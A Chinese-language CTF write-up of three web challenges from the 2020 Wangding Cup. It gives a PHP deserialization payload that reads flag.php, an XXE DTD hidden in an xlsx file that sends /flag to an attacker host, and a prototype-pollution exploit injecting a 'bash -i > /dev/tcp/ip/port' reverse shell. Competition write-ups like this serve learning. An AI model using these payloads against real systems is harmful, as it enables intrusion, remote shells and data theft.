網鼎杯2020青龍組 web writeup

上午壓根沒web，而且簽到題有問題，又不能重新下發，愣是看着密碼發呆emmm，然后下午才放web，而且一個隊只能下發一個docker，就挺拖時間的，搞心態

AreUSerialz

源碼

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();   
    }

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

嘗試寫shell不得行，那就讀文件吧

反序列化之前會做逐字判斷，ascii必須>=32或<=125
由於這里是protect類型，需要加上%00進行標識

由於%00被url解碼后ascii值為0，不在32-125中，所以會返回false

那么就可以就用十六進制\00和S繞過，然后這里有個弱類型可以用int

首先需要知道路徑，可以查看：
/proc/self/cmdline

得到配置文件路徑
/web/config/httpd.conf

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";S:10:"\00*\00content";N;}

javafile

下載頁面處存在路徑穿越，可以讀到web.xml：/file_in_java/DownloadServlet?filename=../../../../WEB-INF/web.xml

然后挨個下載源碼

download這里過濾了flag不能直接下載

upload這里有一個對文件名、后綴是否為excel-開頭和xlsx結尾進行的判斷

那么應該就是用xlsx讓后構造xml文件讀flag了，跟用docx里的xml進行xxe是一個道理
https://www.jianshu.com/p/73cd11d83c30
dtd文件

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip/？%file;'>">
%all;

xlsx里的xml文件

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE data SYSTEM "http://ip/1.dtd">
<data>&send;</data>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

然后上傳

監聽日志收到flag~

notes

java耗費太多時間了，只審了一遍（加上當時環境經常502），就跟着writeup復現一下

考點：原型鏈污染

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })

app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});

app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});

const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

代碼還是比較清楚

參考：https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940
可知undefsafe包，版本<2.0.3有原型鏈污染的洞

由於/status路由下有命令執行

所以可以通過污染commands這個字典，例如令commads.a=whoami也會幫我們遍歷執行

/edit_note下可以傳三個參數

傳入后會直接寫入當前的note_list，為一個字典

就可以利用這點進行污染，
id=__proto__，author=bash -i > /dev/tcp/ip/port 0>&1，raw=123

然后訪問/status彈shell：